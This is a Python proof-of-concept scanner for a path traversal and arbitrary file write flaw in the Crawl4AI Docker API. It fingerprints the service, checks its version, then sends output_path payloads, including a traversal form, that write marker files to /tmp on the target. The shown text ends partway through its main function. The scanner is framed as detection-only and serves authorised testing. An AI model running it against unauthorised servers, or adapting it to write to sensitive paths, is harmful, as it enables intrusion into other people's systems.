1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
| #!/usr/bin/env python3
"""
CVE-2026-56260 - Crawl4AI Arbitrary File Write / Path Traversal PoC
CVSS: 9.1 | CWE: CWE-22
For authorized security testing only.
Vulnerability: Crawl4AI before 0.8.7 contains an arbitrary file write
vulnerability in the Docker API server's /screenshot and /pdf endpoints.
The output_path parameter accepts arbitrary filesystem paths without
validation, allowing an attacker to write to any location writable by
the application's user.
This PoC is DETECTION-ONLY:
* It never targets sensitive OS files.
* It writes/attempts to write only to a randomized, safe marker path
(e.g., /tmp/awatch_probe_<uuid>.png) that does not overwrite
existing files.
* It uses error-based probing (invalid paths, non-writable locations)
to confirm the vulnerable code path is reached.
"""
import argparse
import json
import re
import sys
import uuid
from urllib.parse import urlparse, urlunparse
import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
TIMEOUT = 10
USER_AGENT = "AttackWatch-PoC-Scanner/1.0 (CVE-2026-56260)"
VULNERABLE_ENDPOINTS = ["/screenshot", "/pdf"]
PROBE_URL = "https://example.com"
FIXED_VERSION = (0, 8, 7)
VERSION_RE = re.compile(r"(\d+)\.(\d+)\.(\d+)")
def _log(verbose, msg):
if verbose:
sys.stderr.write("[*] " + msg + "\n")
def _normalize_target(target):
"""Ensure target has a scheme; return base URL without trailing slash."""
if not target.startswith(("http://", "https://")):
target = "http://" + target
parsed = urlparse(target)
path = parsed.path.rstrip("/")
return urlunparse((parsed.scheme, parsed.netloc, path, "", "", ""))
def _headers():
return {
"User-Agent": USER_AGENT,
"Accept": "application/json, */*",
"Content-Type": "application/json",
}
def _parse_version(text):
if not text:
return None
m = VERSION_RE.search(text)
if not m:
return None
try:
return tuple(int(x) for x in m.groups())
except ValueError:
return None
def _is_vulnerable_version(ver):
if not ver:
return False
return ver < FIXED_VERSION
def check_product(target, verbose=False):
"""Stage 1: Product/Service Detection (Passive)."""
result = {"detected": False, "evidence": None}
probe_paths = ["/health", "/", "/docs", "/openapi.json", "/schema"]
indicators = [
"crawl4ai",
"crawl4ai-server",
"/screenshot",
"/pdf",
"output_path",
"screenshot_wait_for",
]
for path in probe_paths:
url = target + path
_log(verbose, "Fingerprint probe: " + url)
try:
r = requests.get(
url,
headers=_headers(),
timeout=TIMEOUT,
verify=False,
allow_redirects=True,
)
except requests.exceptions.RequestException as e:
_log(verbose, "Probe failed for " + path + ": " + str(e))
continue
body_snippet = (r.text or "")[:6000]
server_hdr = r.headers.get("Server", "")
combined = (body_snippet + " " + server_hdr).lower()
for token in indicators:
if token.lower() in combined:
result["detected"] = True
result["evidence"] = (
"Indicator '" + token + "' found at " + path
+ " (HTTP " + str(r.status_code) + ")"
)
_log(verbose, "Product detected via " + path)
return result
# Fallback: schema-error probe on /screenshot
try:
r = requests.post(
target + "/screenshot",
headers=_headers(),
data=json.dumps({}),
timeout=TIMEOUT,
verify=False,
)
body = (r.text or "").lower()
if any(k in body for k in ("output_path", "screenshot_wait_for", "crawl4ai")):
result["detected"] = True
result["evidence"] = (
"Endpoint /screenshot returned Crawl4AI-style schema ("
+ "HTTP " + str(r.status_code) + ")"
)
_log(verbose, "Product detected via /screenshot schema echo")
return result
except requests.exceptions.RequestException as e:
_log(verbose, "Fallback POST /screenshot failed: " + str(e))
return result
def check_version(target, verbose=False):
"""Stage 2: Version Detection (Passive)."""
result = {"potentially_vulnerable": False, "version": None, "evidence": None}
version_paths = ["/health", "/", "/version", "/openapi.json"]
for path in version_paths:
url = target + path
_log(verbose, "Version probe: " + url)
try:
r = requests.get(
url,
headers=_headers(),
timeout=TIMEOUT,
verify=False,
)
except requests.exceptions.RequestException as e:
_log(verbose, "Version probe failed for " + path + ": " + str(e))
continue
# Structured JSON fields
try:
data = r.json()
if isinstance(data, dict):
for key in ("version", "crawl4ai_version", "app_version"):
if key in data:
ver = _parse_version(str(data[key]))
if ver:
ver_str = ".".join(str(x) for x in ver)
result["version"] = ver_str
result["evidence"] = (
"Version '" + ver_str + "' from "
+ path + " (" + key + ")"
)
result["potentially_vulnerable"] = _is_vulnerable_version(ver)
return result
# OpenAPI info.version
info = data.get("info") if isinstance(data.get("info"), dict) else None
if info and "version" in info:
ver = _parse_version(str(info["version"]))
if ver:
ver_str = ".".join(str(x) for x in ver)
result["version"] = ver_str
result["evidence"] = (
"Version '" + ver_str + "' from " + path
+ " (info.version)"
)
result["potentially_vulnerable"] = _is_vulnerable_version(ver)
return result
except (ValueError, json.JSONDecodeError):
pass
# Regex fallback on text body / headers
text = (r.text or "")[:8000] + " " + r.headers.get("Server", "")
for match in VERSION_RE.finditer(text):
ver = tuple(int(x) for x in match.groups())
# Only trust versions in a plausible Crawl4AI range
if 0 <= ver[0] <= 5:
ver_str = ".".join(str(x) for x in ver)
result["version"] = ver_str
result["evidence"] = "Version '" + ver_str + "' matched at " + path
result["potentially_vulnerable"] = _is_vulnerable_version(ver)
return result
return result
def _safe_marker_path(prefix, ext):
"""Return a randomized, non-existent path under /tmp used as a probe."""
return "/tmp/" + prefix + "_" + uuid.uuid4().hex + ext
def test_error_based(target, verbose=False):
"""Stage 3, Method 1: error_based.
Sends output_path values that are guaranteed to fail (invalid characters,
non-writable directories) and inspects error messages for evidence that
the server accepted and used the attacker-controlled path directly.
Absence of validation errors and presence of filesystem errors indicates
the vulnerability.
"""
result = {
"confirmed": False,
"confidence": 0,
"evidence": None,
"method": "error_based",
}
fs_error_indicators = [
"permission denied",
"read-only file system",
"no such file or directory",
"errno",
"oserror",
"ioerror",
"cannot write",
"filenotfounderror",
"isadirectoryerror",
]
validation_indicators = [
"invalid path",
"path is not allowed",
"not permitted",
"output_path must",
"forbidden path",
"value error",
]
# Non-writable target (should trigger OS-level error if path is used raw).
probes = [
# write to root filesystem (typically not writable by app user)
("/nonexistent_dir_" + uuid.uuid4().hex + "/probe.png", "/screenshot"),
("/nonexistent_dir_" + uuid.uuid4().hex + "/probe.pdf", "/pdf"),
]
for out_path, endpoint in probes:
url = target + endpoint
payload = {"url": PROBE_URL, "output_path": out_path}
_log(verbose, "error_based probe -> " + endpoint + " output_path=" + out_path)
try:
r = requests.post(
url,
headers=_headers(),
data=json.dumps(payload),
timeout=TIMEOUT,
verify=False,
)
except requests.exceptions.RequestException as e:
_log(verbose, "Request failed: " + str(e))
continue
body = (r.text or "").lower()
_log(verbose, "HTTP " + str(r.status_code) + " len=" + str(len(body)))
# A patched server should reject the path before touching FS.
if any(v in body for v in validation_indicators):
_log(verbose, "Server rejected path (validation error) - likely patched")
continue
# Vulnerable server passes path straight to filesystem call.
for ind in fs_error_indicators:
if ind in body:
result["confirmed"] = True
result["confidence"] = 85
result["evidence"] = (
"Endpoint " + endpoint + " returned filesystem error '"
+ ind + "' for attacker-controlled output_path='"
+ out_path + "' (HTTP " + str(r.status_code) + ") "
+ "indicating no path validation."
)
return result
# Some servers return 500 with a generic message; capture as weaker signal.
if r.status_code >= 500 and "output_path" not in body:
result["confirmed"] = True
result["confidence"] = 55
result["evidence"] = (
"Endpoint " + endpoint + " returned HTTP " + str(r.status_code)
+ " for unwritable output_path without a validation message; "
+ "suggests raw filesystem usage."
)
# Keep looking for stronger evidence.
return result
def test_file_write_marker(target, verbose=False):
"""Stage 3, Method 2: file_read (adapted as safe file_write marker).
Because this CVE is a *write* primitive (not a read), the analog of
'file_read' verification is to request a write to a safe marker path
that includes traversal characters and verify the server accepts and
processes it. The marker path is randomized under /tmp and never
overwrites an existing file.
"""
result = {
"confirmed": False,
"confidence": 0,
"evidence": None,
"method": "file_write_marker",
}
traversal_paths = [
_safe_marker_path("awatch_probe", ".png"),
# traversal form: resolves to /tmp/awatch_probe_<uuid>.png
"/tmp/../tmp/awatch_probe_" + uuid.uuid4().hex + ".png",
]
endpoints = ["/screenshot", "/pdf"]
for endpoint in endpoints:
ext = ".pdf" if endpoint == "/pdf" else ".png"
for base_path in traversal_paths:
out_path = base_path if base_path.endswith(ext) else base_path.rsplit(".", 1)[0] + ext
url = target + endpoint
payload = {"url": PROBE_URL, "output_path": out_path}
_log(verbose, "file_write_marker probe -> " + endpoint + " output_path=" + out_path)
try:
r = requests.post(
url,
headers=_headers(),
data=json.dumps(payload),
timeout=TIMEOUT,
verify=False,
)
except requests.exceptions.RequestException as e:
_log(verbose, "Request failed: " + str(e))
continue
body = (r.text or "")
body_lc = body.lower()
_log(verbose, "HTTP " + str(r.status_code) + " len=" + str(len(body)))
# Rejection with validation message => patched.
rejection_tokens = (
"invalid path", "not allowed", "forbidden", "not permitted",
"path must", "outside allowed", "value error"
)
if any(t in body_lc for t in rejection_tokens):
_log(verbose, "Path rejected - patched behavior")
continue
# Success indicators - server accepted attacker-controlled path.
success_tokens = (
"success", "\"success\": true", "'success': true",
"saved", "written", "output_path", "file_path"
)
if r.status_code < 300 and any(t in body_lc for t in success_tokens):
# Check response for reflected attacker path.
reflected = out_path in body or out_path.replace("//", "/") in body
if reflected or out_path in body_lc:
result["confirmed"] = True
result["confidence"] = 95
result["evidence"] = (
"Endpoint " + endpoint + " accepted attacker-controlled "
+ "output_path='" + out_path + "' (HTTP "
+ str(r.status_code) + ") and reflected it, "
+ "confirming arbitrary write."
)
return result
result["confirmed"] = True
result["confidence"] = 80
result["evidence"] = (
"Endpoint " + endpoint + " returned success for "
+ "output_path='" + out_path + "' (HTTP "
+ str(r.status_code) + ") with no path validation."
)
return result
return result
def check_vulnerability(target, active_test=True, callback_url=None, verbose=False):
"""Main vulnerability check orchestrator."""
results = {
"vulnerable": False,
"confidence": 0,
"evidence": None,
"method": None,
"stage": None,
"product_detected": False,
"version": None,
}
# Stage 1
prod = check_product(target, verbose=verbose)
if not prod["detected"]:
results["evidence"] = "Crawl4AI Docker API server not detected"
results["stage"] = "product_detection"
return results
results["product_detected"] = True
_log(verbose, "Stage 1 OK: " + str(prod["evidence"]))
# Stage 2
ver = check_version(target, verbose=verbose)
results["version"] = ver.get("version")
if ver.get("potentially_vulnerable"):
results["stage"] = "version_check"
results["confidence"] = 30
results["evidence"] = ver.get("evidence")
results["method"] = "version_string"
# Stage 3
if active_test:
for test_func in (test_error_based, test_file_write_marker):
tr = test_func(target, verbose=verbose)
if tr.get("confirmed") and tr.get("confidence", 0) > results["confidence"]:
results["vulnerable"] = True
results["confidence"] = tr["confidence"]
results["evidence"] = tr["evidence"]
results["method"] = tr["method"]
results["stage"] = "active_test"
if results["confidence"] >= 90:
break
# Escalate to "vulnerable" if version says so AND product confirmed,
# even without active confirmation, but keep confidence moderate.
if not results["vulnerable"] and ver.get("potentially_vulnerable"):
results["vulnerable"] = True
results["confidence"] = max(results["confidence"], 40)
results["method"] = results["method"] or "version_string"
results["stage"] = results["stage"] or "version_check"
results["evidence"] = results["evidence"] or ver.get("evidence")
return results
def main():
parser = argparse.ArgumentParser(
description="CVE-2026-56260 (Crawl4AI Path Traversal) Detection PoC"
)
parser.add_argument("-t", "--target", required=True, help="Target URL or host:port")
parser.add_argument("-c", "--check", action="store_true", help="Run vulnerability check")
parser.add_argument("--version-only", action="store_true",
help="Passive version check only (skip active testing)")
parser.add_argument("--callback", help="Callback URL for OOB detection (unused for this CVE)")
parser.add_argument("-v", "--verbose", action="store_true", help="Verbose output")
parser.add_argument("--timeout", type=int, default=10, help="Request timeout in seconds")
args = parser.parse_args()
global TIMEOUT
TIMEOUT = args.timeout
try:
target = _normalize_target(args.target)
except Exception as e:
sys.stderr.write("Error: invalid target: " + str(e) + "\n")
sys.exit(2)
_log(args.verbose, "Normalized target: " + target)
try:
if args.version_only:
prod = check_product(target, verbose=args.verbose)
if not prod["detected"]:
print("[NOT VULNERABLE]")
print("Confidence: 70%")
print("Evidence: Crawl4AI Docker API server not detected")
print("Method: product_detection")
print("Stage: product_detection")
sys.exit(0)
ver = check_version(target, verbose=args.verbose)
if ver.get("potentially_vulnerable"):
print("[POTENTIALLY VULNERABLE]")
print("Confidence: 40%")
print("Evidence: " + str(ver.get("evidence")))
print("Method: version_string")
print("Stage: version_check")
|
